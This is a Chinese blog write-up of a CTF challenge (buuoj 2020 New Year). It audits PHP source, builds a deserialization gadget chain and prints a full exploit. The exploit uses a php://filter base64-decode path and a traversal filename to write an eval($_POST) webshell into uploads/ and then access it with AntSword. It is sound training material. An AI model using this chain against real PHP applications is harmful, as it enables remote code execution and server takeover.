首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >buuoj[2020新春红包题解]

buuoj[2020新春红包题解]

作者头像
KevinBruce
发布2020-04-24 18:40:18
7050
发布2020-04-24 18:40:18
举报
文章被收录于专栏:CTF及算法学习CTF及算法学习

0x01 解题思路

根据提示加上src=1参数会显示PHP源码:

<?php
error_reporting(0);

class A {
    protected $store;
    protected $key;
    protected $expire;
    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }
    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);
        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }
        return $contents;
    }
    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);
        return json_encode([$cleaned, $this->complete]);
    }
    public function save() {
        $contents = $this->getForStorage();
        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            return $filename;
        }
        return null;
    }
}
if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

很明显是一道构造反序列化来得到flag的题。

源码中一共有两个类,这里想利用反序列化只能考虑借助wakeup、destruct方法,正好A中有一个destruct,那就从A入手进行审计。

 public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
 }

如果autosave为false,save方法会被触发,save方法可能触发反序列化。因此A类中autosave必须为假。接下来看save方法如何触发反序列化。

public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);
        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }
        return $contents;
    }
    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);
        return json_encode([$cleaned, $this->complete]);
    }
    public function save() {
        $contents = $this->getForStorage();
        $this->store->set($this->key, $contents, $this->expire);
    }

save中调用了getForStorage方法,该方法返回json数据。getForStorage方法调用了cleanContents方法,该方法用于求所给contents中与path、dirname、basename所在数组的交集。也就是说contents中只能包含path、dirname等key值。

小结一下就是save方法用来将传递的contents经过筛选之后得到一段json值,并将该值交给了store属性的set方法处理。

那么,contents是否可以被用户控制,set方法能否执行命令或读写文件呢?

重新阅读上述代码,contents变量值来自于处理后的cache变量,cache变量是A的一个属性,因此它是可控的。对于set方法,A中并没有set方法,B中有,因此store一定是个B的对象。

public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            return $filename;
        }
        return null;
    }
public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

阅读以上代码,可以看到file_put_contents函数,这里被触发就有可能写入webshell。该函数用到的函数名会被getCacheKey处理一下,文件名来源于A中的key属性。该函数中被写入的值来源于data变量,data变量由A中的contents经过serialize处理得到,serialize是一个可控变量,可以自己选定函数名。serialize处理后可以进行压缩,但是这里显然是不能让他压缩,直接把options['data_compress']定义为false即可。

小结一下,A中传递过来contents和key参数给B的set方法做处理,如果能选定适当的serialize函数,构造合适的contents以及合适的文件名,那么就可以写入webshell,获取flag。

0x02 参数构造

<?php 
class A {
    protected $store;
    #key作文文件名
  	protected $key;
    protected $expire;
    public function __construct()
    {
        $this->store = new B();
      	#/../用于绕过uniqid生成的随机值,后面的/.用来绕过文件名限制
        $this->key = '/../c.php/.';
      	#随意的数值,这里似乎没啥用
        $this->expire = 111;
    }
}
$a = new A();
#动态生成成员
#用于触发save方法
$a->autosave=false;
#处理之后得到contents,path是一个base64值
#<?php eval($_POST[a]);?>
$a->cache = array('111'=>array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+"));
#这个并没有什么用,只是用来添加到json中,随便设
$a->complete = '2';
?>
class B{
    public $options;
    public function __construct()
    {
      	#禁止压缩
        $this->options['data_compress'] = false;
      	#随意的数值
        $this->options['expire'] = 111;
      	#serialize的方法
        $this->options['serialize'] = 'strval';
      	#用来确定写入文件的地址
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';
    }
}

0x03 完整的exp

<?php 
class B{
    public $options;
    public function __construct()
    {
        $this->options['data_compress'] = false;
        $this->options['expire'] = 111;
        $this->options['serialize'] = 'strval';
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';
    }
}
class A {
    protected $store;
    protected $key;
    protected $expire;
    public function __construct()
    {
        $this->store = new B();
        $this->key = '/../a.php/.';
        $this->expire = 111;
    }
}
$a = new A();
$a->autosave=false;
$a->cache = array('111'=>array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+"));
$a->complete = '2';
echo urlencode(serialize($a));
?>

将data传给题目页面后在用蚁剑访问/uploads/a.php即可拿到shell,并得到flag。

0x04 总结

这个题考查了审计能力和构造payload的能力,还是有点难度的,审计花了我不少时间。最后我想好了怎么构造payload后卡在了一个点上,就是A类没有的成员怎么处理。后来才知道,PHP支持动态生成成员,PHP实在是太灵活了,但我觉得灵活与安全不好兼得。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-04-16 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 解题思路
  • 0x02 参数构造
  • 0x03 完整的exp
  • 0x04 总结
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档